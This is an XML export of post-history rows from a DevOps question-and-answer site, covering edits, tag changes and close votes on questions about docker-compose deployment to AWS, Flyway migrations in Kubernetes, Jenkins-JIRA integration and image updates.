  <row Id="31157" PostHistoryTypeId="5" PostId="3413" RevisionGUID="5f3427f6-6776-40fc-a4ed-56191415f79e" CreationDate="2019-12-24T12:41:56.730" UserId="210" Comment="deleted 50 characters in body" Text="I'm using simple docker-compose container images. Here's my `docker-compose.yml`&#xD;&#xA;&#xD;&#xA;        version: '2'&#xD;&#xA;&#xD;&#xA;        services:&#xD;&#xA;          db:&#xD;&#xA;            image: postgres:10.2&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;5432:5432&quot;&#xD;&#xA;            environment:&#xD;&#xA;              ... skipped for brevity&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./server:/docker-entrypoint-initdb.d&quot;&#xD;&#xA;&#xD;&#xA;          postgrest:&#xD;&#xA;            image: postgrest/postgrest&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3000:3000&quot;&#xD;&#xA;            environment:&#xD;&#xA;             ... skipped for brevity&#xD;&#xA;&#xD;&#xA;          webapp:&#xD;&#xA;            image: node:8.9&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;3001:3001&quot;&#xD;&#xA;            volumes:&#xD;&#xA;              - &quot;./client:/client&quot;&#xD;&#xA;              - &quot;./package.json:/client/package.json&quot;&#xD;&#xA;              - &quot;./node_modules:/client/node_modules&quot;&#xD;&#xA;            environment:&#xD;&#xA;              - API_URL=${API_URL}&#xD;&#xA;            working_dir: /client&#xD;&#xA;            command: npm run dev -- -p 3001&#xD;&#xA;&#xD;&#xA;which I want to deploy to AWS Elasticbeanstalk using CodePipeline. As I don't have any build step (thus no Dockerfile) I'm wondering how to instruct my `buildspec.yml` &#xD;&#xA;&#xD;&#xA;        version: 0.2&#xD;&#xA;&#xD;&#xA;        phases:&#xD;&#xA;          install:&#xD;&#xA;            commands:&#xD;&#xA;              - echo starting on `date`&#xD;&#xA;              - npm install&#xD;&#xA;          pre_build:&#xD;&#xA;            commands:&#xD;&#xA;              - cp .env.example .env&#xD;&#xA;          build:&#xD;&#xA;            commands:&#xD;&#xA;              - docker-compose up -d&#xD;&#xA;&#xD;&#xA;          post_build:&#xD;&#xA;            commands:&#xD;&#xA;              - echo completing on `date`&#xD;&#xA;&#xD;&#xA;to properly build using docker-compose?&#xD;&#xA;&#xD;&#xA;I believe I just need a [`Dockerrun.aws.json` file](https://gist.github.com/altras/9b0fbd6ba39b2de0e83332c4e17f0d0c) although CodePipeline is expecting some build artifact:&#xD;&#xA;&#xD;&#xA;[![AWS CodePipeline staging step wants a build artifact][1]][1]&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/71kVz.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31158" PostHistoryTypeId="5" PostId="3721" RevisionGUID="94d92671-dc3e-4cde-b6bc-c53b39a3618b" CreationDate="2019-12-24T12:44:26.110" UserId="210" Comment="deleted 37 characters in body" Text="There's these [instructions from redhat](https://developers.redhat.com/blog/2018/01/10/flyway-containerized-db-changes/) but they're cooking their own flyway. &#xD;&#xA;&#xD;&#xA;Here's what I've done: &#xD;&#xA;&#xD;&#xA;I have a dockerfile that looks like this: &#xD;&#xA;&#xD;&#xA;    FROM  boxfuse/flyway&#xD;&#xA;    ADD ./flyway /flyway&#xD;&#xA;    &#xD;&#xA;    #TODO: pass the username/password in from kubernetes&#xD;&#xA;    CMD [&quot;-X&quot;, &quot;-url=jdbc:mysql://db-service&quot;, &quot;-schemas=myapp&quot;, &quot;-user=root&quot;, &quot;-password=P@ssw0rd&quot;, &quot;migrate&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I build it with: &#xD;&#xA;&#xD;&#xA;    docker build -t flyway-migrate:3 . &#xD;&#xA;&#xD;&#xA;Where `3` is the number that the flyway migration is up to. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I then have a kubernetes job to run this script: &#xD;&#xA;&#xD;&#xA;    apiVersion: batch/v1&#xD;&#xA;    kind: Job&#xD;&#xA;    metadata:&#xD;&#xA;      name: flyway-job&#xD;&#xA;    spec:&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: java-app&#xD;&#xA;            tier: flyway&#xD;&#xA;            track: stable&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;            - name: flyway&#xD;&#xA;              image: &quot;flyway-migrate:3&quot;&#xD;&#xA;              imagePullPolicy: IfNotPresent&#xD;&#xA;          restartPolicy: Never&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This works fine, but there's a few questions I have. &#xD;&#xA;&#xD;&#xA;1. Whenever increment the flyway migration number, I have to rebuild the image, and then update the job, and delete the existing job and recreate it. &#xD;&#xA; - Is there a way to rerun jobs? &#xD;&#xA; - Is there a way to run the kubernetes job saying 'Use this image tag'. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31159" PostHistoryTypeId="6" PostId="3955" RevisionGUID="fb1d18df-9f98-475c-b527-e0546efdcb93" CreationDate="2019-12-24T12:47:40.840" UserId="210" Comment="edited tags" Text="&lt;node.js&gt;&lt;openshift&gt;&lt;flask&gt;&lt;json&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31161" PostHistoryTypeId="4" PostId="4421" RevisionGUID="bf0a33c4-e6c4-461b-8687-b5af69330444" CreationDate="2019-12-24T12:52:34.667" UserId="210" Comment="edited title" Text="Using docker cloud from jenkins running on local osx docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="31162" PostHistoryTypeId="6" PostId="4431" RevisionGUID="48992648-3da1-4780-b3e4-076695c6a720" CreationDate="2019-12-24T12:53:39.487" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;azure&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31164" PostHistoryTypeId="5" PostId="4639" RevisionGUID="a5757ff1-84c7-4364-bf1f-b12fec8c5ef7" CreationDate="2019-12-24T12:56:41.403" UserId="210" Comment="deleted 30 characters in body" Text="Our applications are based on tomcat, strictly speaking on tomcat base s2i image provided by RedHat. This is updated quite frequently, and we need to comply to some regulations and apply the updates. This basically means, that with every single update, we need to replace the base image of each of a few hundred ones deployed. There is about twenty something applications, each in a few different code versions, so cannot be simplified with tagging. I was thinking of extracting tomcat/JDK somehow to another supply chain, but there it gets complicated as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="31165" PostHistoryTypeId="5" PostId="4808" RevisionGUID="72e8014b-8948-41b7-8eea-cab7936e71b3" CreationDate="2019-12-24T12:58:47.307" UserId="210" Comment="added 9 characters in body" Text="I have jenkins job for with `GitHub Pull Request Builder`.&#xD;&#xA;&#xD;&#xA;In build, I added first step to set the `JIRA_ISSUE` variable.&#xD;&#xA;&#xD;&#xA;**JIRA: Add related environment variables to build**&#xD;&#xA;    &#xD;&#xA;    Extracts JIRA information for the build to environment variables.&#xD;&#xA;    Available variables:&#xD;&#xA;    JIRA_ISSUES - A comma separated list of issues which are referenced in the version control system changelog&#xD;&#xA;    JIRA_URL - Primary URL for the JIRA server&#xD;&#xA;    Typical usage:&#xD;&#xA;    &#xD;&#xA;    Add this build step&#xD;&#xA;    Use the &quot;Progress JIRA issues by workflow action&quot; or &quot;Move issues matching JQL to the specified version&quot; with JQL like:&#xD;&#xA;    issue in (${JIRA_ISSUES})&#xD;&#xA;&#xD;&#xA;Second step is to update these jira issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;builders&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraEnvironmentVariableBuilder plugin=&quot;jira@3.0.0&quot;/&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraIssueUpdateBuilder plugin=&quot;jira@3.0.0&quot;&gt;&#xD;&#xA;          &lt;jqlSearch&gt;issue in (${JIRA_ISSUES})&lt;/jqlSearch&gt;&#xD;&#xA;          &lt;workflowActionName&gt;Ready for Review&lt;/workflowActionName&gt;&#xD;&#xA;          &lt;comment&gt;add comment&lt;/comment&gt;&#xD;&#xA;        &lt;/hudson.plugins.jira.JiraIssueUpdateBuilder&gt;&#xD;&#xA;    &lt;/builders&gt;&#xD;&#xA;&#xD;&#xA;When I create PR, and it trigger the job, it not set `JIRA_ISSUES`&#xD;&#xA;&#xD;&#xA;    GitHub pull request #356 of commit 2e2b92d107a5460c4cc593fcab78c63f800d6472, no merge conflicts.&#xD;&#xA;    Setting status of 2e2b92d107a5460c4cc593fcab78c63f800d6472 to PENDING with url https://myjenkins.com/job/cicd-myjob-prtest-unittest/69/ and message: 'running tox...'&#xD;&#xA;    Using context: tox testing&#xD;&#xA;    [EnvInject] - Loading node environment variables.&#xD;&#xA;    Building remotely on myslave.node.box.com (linux) in workspace /var/lib/jenkins/workspace/cicd-myjob-prtest-unittest&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://mygithub.com/myuser/myproject.git # timeout=10&#xD;&#xA;    Fetching upstream changes from https://mygithub.com/myuser/myproject.git&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;    using GIT_ASKPASS to set credentials Github Service Account Username with token&#xD;&#xA;     &gt; git fetch --tags --progress https://mygithub.com/myuser/myproject.git +refs/pull/*:refs/remotes/origin/pr/*&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/pr/356/merge^{commit} # timeout=10&#xD;&#xA;     &gt; git rev-parse refs/remotes/origin/origin/pr/356/merge^{commit} # timeout=10&#xD;&#xA;    Checking out Revision 0ff9e43bbc1385303429f7bcf93fea36e8c455d3 (refs/remotes/origin/pr/356/merge)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 0ff9e43bbc1385303429f7bcf93fea36e8c455d3&#xD;&#xA;    Commit message: &quot;Merge 2e2b92d107a5460c4cc593fcab78c63f800d6472 into 731994024e723b1257374f521b4784060df9e5b5&quot;&#xD;&#xA;    First time build. Skipping changelog.&#xD;&#xA;    [JIRA] Setting JIRA_ISSUES to .&#xD;&#xA;    [JIRA] Updating issues using workflow action Ready for Review.&#xD;&#xA;    [JIRA] JQL: issue in ()&#xD;&#xA;    [JIRA] Updating issue MYPROJECT-1234&#xD;&#xA;    Setting status of 2e2b92d107a5460c4cc593fcab78c63f800d6472 to SUCCESS with url https://myjenkins.com/job/cicd-myjob-prtest-unittest/69/ and message: 'All is well.&#xD;&#xA;     '&#xD;&#xA;    Using context: tox testing&#xD;&#xA;    Finished: SUCCESS&#xD;&#xA;&#xD;&#xA;The `[JIRA] Updating issue MYPROJECT-1234` is from `publisher`&#xD;&#xA;&#xD;&#xA;    &lt;publishers&gt;&#xD;&#xA;        &lt;hudson.plugins.jira.JiraIssueUpdater plugin=&quot;jira@3.0.0&quot;&gt;&#xD;&#xA;          &lt;issueSelector class=&quot;hudson.plugins.jira.selector.JqlIssueSelector&quot;&gt;&#xD;&#xA;            &lt;jql&gt;issue=MYPROJECT-1234&lt;/jql&gt;&#xD;&#xA;          &lt;/issueSelector&gt;&#xD;&#xA;          &lt;labels/&gt;&#xD;&#xA;        &lt;/hudson.plugins.jira.JiraIssueUpdater&gt;&#xD;&#xA;    &lt;/publishers&gt;&#xD;&#xA;&#xD;&#xA;If I look for change log for commit `2e2b92d107a5460c4cc593fcab78c63f800d6472` it has the jira issue in comment and title.&#xD;&#xA;&#xD;&#xA;    commit 2e2b92d107a5460c4cc593fcab78c63f800d6472 (HEAD -&gt; MYPROJECT-1234, origin/MYPROJECT-1234)&#xD;&#xA;    Author: myuser &lt;myuser@mygithub.com&gt;&#xD;&#xA;    Date:   Tue Aug 21 15:55:41 2018 -0500&#xD;&#xA;    &#xD;&#xA;        MYPROJECT-1234: Tox testing&#xD;&#xA;    &#xD;&#xA;        MYPROJECT-1234 change the data.&#xD;&#xA;&#xD;&#xA;Why is the `JiraEnvironmentVariableBuilder` not able to set `JIRA_ISSUES` to `MYPROJECT-1234` while it is present in the changelog?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31166" PostHistoryTypeId="2" PostId="10277" RevisionGUID="75103c3d-0ecc-4031-8018-b6c438d780e6" CreationDate="2019-12-24T13:19:14.003" UserId="210" Text="**Get newest tag**&#xD;&#xA;&#xD;&#xA;How I mitigated it was by creating several bots. The first one uses [dip][1] to get the latest version of a specific docker image. E.g.:&#xD;&#xA;&#xD;&#xA;    go run main.go -image ubuntu -latest &quot;xenial-\d.*&quot;&#xD;&#xA;&#xD;&#xA;to get the latest tag of Ubuntu Xenial. If the docker image does not exist in your local docker registry, then it will be pushed.&#xD;&#xA;&#xD;&#xA;**Update tag in several Dockerfiles**&#xD;&#xA;&#xD;&#xA;The second bot, updates the tags in the Dockerfiles. If the build is successful then it is merged. Currently an approval is always required, but if it works for a couple of months and the team has enough confidence then an auto merge can be done.&#xD;&#xA;&#xD;&#xA;**Update orchestration**&#xD;&#xA;&#xD;&#xA;The third bot updates the docker-compose.yml files, k8s files or whatever orchestration is used. If an approval is done then it will be merged into master. Again if there is enough confidence then this could be automated as well, but I always prefer some manual intervention if production is applicable. Then the team is aware that there was an update and could revert if needed. On the other hand if the monitoring works well then the team will be notified right a way and if updates are done frequently, i.e. at least once every two weeks then the team is trained and knows how to deal with this. &#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/dip" ContentLicense="CC BY-SA 4.0" />
  <row Id="31167" PostHistoryTypeId="6" PostId="5054" RevisionGUID="c07dce65-f29a-4885-ab32-cc11031f286d" CreationDate="2019-12-24T13:19:59.870" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;systemd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31168" PostHistoryTypeId="4" PostId="5144" RevisionGUID="5758481e-2334-4160-95a7-0804321eaa59" CreationDate="2019-12-24T13:26:38.527" UserId="210" Comment="edited title" Text="How to fix a &quot;heartbeat failure&quot; in Docker Swarm?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31169" PostHistoryTypeId="10" PostId="5149" RevisionGUID="358312ca-2724-4e1c-a204-ab3ca5ed88ca" CreationDate="2019-12-24T13:27:35.640" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31170" PostHistoryTypeId="5" PostId="5149" RevisionGUID="90a28b4a-b0b3-42ae-a1fa-f50bf3089a25" CreationDate="2019-12-24T13:27:57.200" UserId="210" Comment="deleted 32 characters in body" Text="The health check on our ECS cluster is failing on a service that is using an ELB Network Load Balancer on TCP port (gRPC running in docker alpine). The service is using dynamic port mapping for containers.&#xD;&#xA;&#xD;&#xA;I tried to telnet on the TCP port from a bastion machine and it did work. The same setup has worked with using ALB on HTTP port with dynamic port mapping after also adding the ALB security group to be allowed to send traffic to nodes in the VPC&#xD;&#xA;&#xD;&#xA;The nodes running in the private subnets of the VPC and the balancer is an internal ELB." ContentLicense="CC BY-SA 4.0" />
  <row Id="31171" PostHistoryTypeId="6" PostId="6825" RevisionGUID="3a51e886-1363-4003-abc6-327333d39cf4" CreationDate="2019-12-24T13:28:25.260" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;amazon-ecs&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31172" PostHistoryTypeId="10" PostId="6825" RevisionGUID="4f489833-cc6e-4e14-a3fd-707de75a87eb" CreationDate="2019-12-24T13:28:39.697" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31175" PostHistoryTypeId="6" PostId="5831" RevisionGUID="a7b255e8-aa8f-4535-84c8-b6ab4a752512" CreationDate="2019-12-24T13:31:03.740" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31176" PostHistoryTypeId="10" PostId="5831" RevisionGUID="6be11b2c-3461-410a-b132-96e4d8ec4933" CreationDate="2019-12-24T13:31:24.713" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31177" PostHistoryTypeId="10" PostId="6630" RevisionGUID="bcb079c8-a956-4212-a3b3-13d7b0e21eb8" CreationDate="2019-12-24T13:33:16.047" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31178" PostHistoryTypeId="6" PostId="6660" RevisionGUID="80cf9a19-4b19-4e2f-bd3c-0b4e2457734b" CreationDate="2019-12-24T13:34:48.477" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31179" PostHistoryTypeId="4" PostId="6126" RevisionGUID="e70a558f-a8df-4c47-a7b0-04a6dda4b7d2" CreationDate="2019-12-24T13:36:57.117" UserId="210" Comment="edited title" Text="How to define variable in Jenkins scripted pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31180" PostHistoryTypeId="10" PostId="6660" RevisionGUID="b5afedc0-12d1-4cde-8139-b49541b9e1ca" CreationDate="2019-12-24T13:39:14.333" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[6126],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31181" PostHistoryTypeId="10" PostId="4883" RevisionGUID="8b20231d-d59b-4d36-9879-f0cb3f598bcb" CreationDate="2019-12-24T14:00:56.707" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31182" PostHistoryTypeId="10" PostId="5427" RevisionGUID="1512d097-9524-4244-957e-3b29fdbd447c" CreationDate="2019-12-24T14:03:19.557" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31183" PostHistoryTypeId="5" PostId="5427" RevisionGUID="2a0ee43f-97c7-4083-90be-7c58b274d4f4" CreationDate="2019-12-24T14:03:48.780" UserId="210" Comment="added 22 characters in body" Text="I am trying to pass a variable input to &quot;credentialsId: $creds&quot; from SiteID but unable to. I tried multiple expressions in pipeline script with quotes etc and none worked. I am learning and need suggestions. Below is code snippet.&#xD;&#xA;&#xD;&#xA;    node('master') {&#xD;&#xA;      stage('pass_the_salt'){&#xD;&#xA;        SiteID = &quot;bc1&quot;&#xD;&#xA;        creds = &quot;alip-$SiteID-user&quot;&#xD;&#xA;        try{&#xD;&#xA;	      withCredentials([[$class: 'UsernamePasswordMultiBinding', credentialsId: $creds,&#xD;&#xA;          usernameVariable: 'DBUSER', passwordVariable: 'DBPASS']]) {&#xD;&#xA;	    }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="31184" PostHistoryTypeId="10" PostId="5392" RevisionGUID="3a42dcdc-4bc8-4e97-82bb-d7143a6ebd30" CreationDate="2019-12-24T14:06:29.957" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31185" PostHistoryTypeId="6" PostId="5392" RevisionGUID="ae9ee868-d204-4f8c-95ac-aa60ca70ec96" CreationDate="2019-12-24T14:07:04.047" UserId="210" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;testing&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31186" PostHistoryTypeId="6" PostId="4389" RevisionGUID="d4c432f2-e1ed-4701-be11-748541aacc00" CreationDate="2019-12-24T14:09:51.403" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;&lt;databases&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31187" PostHistoryTypeId="5" PostId="10258" RevisionGUID="85fec71c-753a-4a19-8426-dc95219fd291" CreationDate="2019-12-24T14:12:09.413" UserId="18801" Comment="removed some fluf" Text="I'm running Jenkins on an Ubuntu machine bare metal, and as I'm only experimenting and learning how the ops of it all works, I now want to learn how to enable https (with a nominally valid certificate obviously). I want to talk to a git instance and other tools and keep the automation tools secure. I believe the easiest is to use a reverse proxy, NGINX. Which I assume just acts like a forwarder; this is where I get stuck as a newbie.&#xD;&#xA;&#xD;&#xA;I am unable to set up or follow the nginx initial steps to obtain a certificate, because the key generation tool (keytool) just does nothing when I give it a URL. It keeps saying my computer's FQDN is not valid.&#xD;&#xA;&#xD;&#xA;I guess that's because my ubuntu machine is behind a NAT. I am guessing it's not realistic to create a trusted server on a private LAN which only has egress, but no ingress? Do I really need a real domain? I have one, but since this is work related, I'm loathe to create any kind of link-up between work and play. This feels a little workaround hacky-like, so keen for alternatives to what looks like an overkill configuration. For an internal experimental Jenkins setup, is there a 3 step process that a beginner who knows very little about keys can follow?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31188" PostHistoryTypeId="24" PostId="10258" RevisionGUID="85fec71c-753a-4a19-8426-dc95219fd291" CreationDate="2019-12-24T14:12:09.413" Comment="Proposed by 18801 approved by 40 edit id of 1130" ContentLicense="CC BY-SA 4.0" />
  <row Id="31189" PostHistoryTypeId="6" PostId="4052" RevisionGUID="c227f86c-598c-4f30-8c10-aed3f0add88b" CreationDate="2019-12-24T14:13:46.193" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;php&gt;&lt;redis&gt;&lt;composer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31190" PostHistoryTypeId="10" PostId="5209" RevisionGUID="946d5081-8a76-4bed-8ee2-11fa9510793f" CreationDate="2019-12-24T14:15:54.573" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31191" PostHistoryTypeId="10" PostId="5146" RevisionGUID="3b494052-466f-4258-8f3b-38253285f8d7" CreationDate="2019-12-24T14:19:27.910" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31192" PostHistoryTypeId="10" PostId="5372" RevisionGUID="762dcf53-767e-4070-ba44-befa35328720" CreationDate="2019-12-24T14:20:15.633" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31193" PostHistoryTypeId="6" PostId="5372" RevisionGUID="f6891770-558a-45dc-b741-25dae2d0372f" CreationDate="2019-12-24T14:21:02.520" UserId="210" Comment="edited tags" Text="&lt;git&gt;&lt;cicd&gt;&lt;versioning&gt;&lt;software-recommendation&gt;&lt;braid&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31194" PostHistoryTypeId="2" PostId="10278" RevisionGUID="8c955146-a986-46c5-a3a6-6eac08b95a8e" CreationDate="2019-12-24T14:21:36.383" UserId="210" Text="Website: https://github.com/cristibalan/braid" ContentLicense="CC BY-SA 4.0" />
  <row Id="31195" PostHistoryTypeId="1" PostId="10278" RevisionGUID="8c955146-a986-46c5-a3a6-6eac08b95a8e" CreationDate="2019-12-24T14:21:36.383" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31196" PostHistoryTypeId="2" PostId="10279" RevisionGUID="0d2a469b-55da-4815-8429-8ef2b1753bf9" CreationDate="2019-12-24T14:21:36.383" UserId="210" Text="Use this tag if a question is about braid." ContentLicense="CC BY-SA 4.0" />
  <row Id="31197" PostHistoryTypeId="1" PostId="10279" RevisionGUID="0d2a469b-55da-4815-8429-8ef2b1753bf9" CreationDate="2019-12-24T14:21:36.383" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="31198" PostHistoryTypeId="10" PostId="5445" RevisionGUID="46b32cec-5ea9-4c44-88d2-9904d58b8cd5" CreationDate="2019-12-24T14:23:38.610" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31199" PostHistoryTypeId="10" PostId="5529" RevisionGUID="4ed2163c-5a72-4cb5-ae70-3b4be4a9ad37" CreationDate="2019-12-24T14:26:34.947" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31200" PostHistoryTypeId="10" PostId="5535" RevisionGUID="321250b3-ae08-4b0e-8717-cf693fa98319" CreationDate="2019-12-24T14:27:19.190" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31201" PostHistoryTypeId="6" PostId="5535" RevisionGUID="af5b6688-3f80-45ce-ab7d-fe84579f4728" CreationDate="2019-12-24T14:28:03.113" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;containers&gt;&lt;continuous-deployment&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31202" PostHistoryTypeId="6" PostId="5422" RevisionGUID="9f2a834f-4171-427b-9e34-669dc8a40bfb" CreationDate="2019-12-24T14:37:13.503" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31205" PostHistoryTypeId="6" PostId="9994" RevisionGUID="8b97ec9f-f6d8-4c45-b963-5f3548069eeb" CreationDate="2019-12-24T14:42:17.737" UserId="210" Comment="edited tags" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31206" PostHistoryTypeId="10" PostId="9994" RevisionGUID="f0b6440f-ea66-49b0-aabc-e16092eb72d8" CreationDate="2019-12-24T14:42:26.310" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31211" PostHistoryTypeId="4" PostId="10029" RevisionGUID="384bd8cb-fbc8-4324-825f-67d63cf8ca19" CreationDate="2019-12-24T14:46:51.640" UserId="210" Comment="edited title" Text="Why does an 'InvalidSnapshot.NotFound' occur in Packer and how to solve it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31212" PostHistoryTypeId="10" PostId="10029" RevisionGUID="0568b793-027d-4b16-ae2a-26e438ca5992" CreationDate="2019-12-24T14:47:05.603" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31214" PostHistoryTypeId="10" PostId="10036" RevisionGUID="5747e231-cec8-4a21-92fe-12e4a5659cd1" CreationDate="2019-12-24T14:47:41.640" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31220" PostHistoryTypeId="10" PostId="5786" RevisionGUID="fdb150b1-674d-43b4-9e68-fb83b471277e" CreationDate="2019-12-24T14:52:38.120" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31221" PostHistoryTypeId="10" PostId="5607" RevisionGUID="6e205c35-e5ba-4a5a-8263-0cdab90fce9d" CreationDate="2019-12-24T14:54:58.543" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31222" PostHistoryTypeId="10" PostId="5762" RevisionGUID="1b633388-1a45-414c-822e-90b2a7283155" CreationDate="2019-12-24T14:57:22.227" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31223" PostHistoryTypeId="11" PostId="5762" RevisionGUID="a72b19b7-beef-46de-9b50-1939ce4de566" CreationDate="2019-12-24T14:57:40.700" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31224" PostHistoryTypeId="10" PostId="5762" RevisionGUID="0e720c6a-a48e-44f3-a480-06d4c2fc1b27" CreationDate="2019-12-24T14:57:45.590" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31225" PostHistoryTypeId="10" PostId="5737" RevisionGUID="22f6ddb9-c827-4d9a-ad79-12a0603c7795" CreationDate="2019-12-24T14:58:28.677" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31226" PostHistoryTypeId="10" PostId="5640" RevisionGUID="e70187ea-098f-4b98-8a72-8a6d39d60c8a" CreationDate="2019-12-24T14:58:56.230" UserId="210" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="31227" PostHistoryTypeId="10" PostId="5617" RevisionGUID="d67a47b7-415e-43d3-b773-11dc1e19f6c8" CreationDate="2019-12-24T14:59:17.747" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
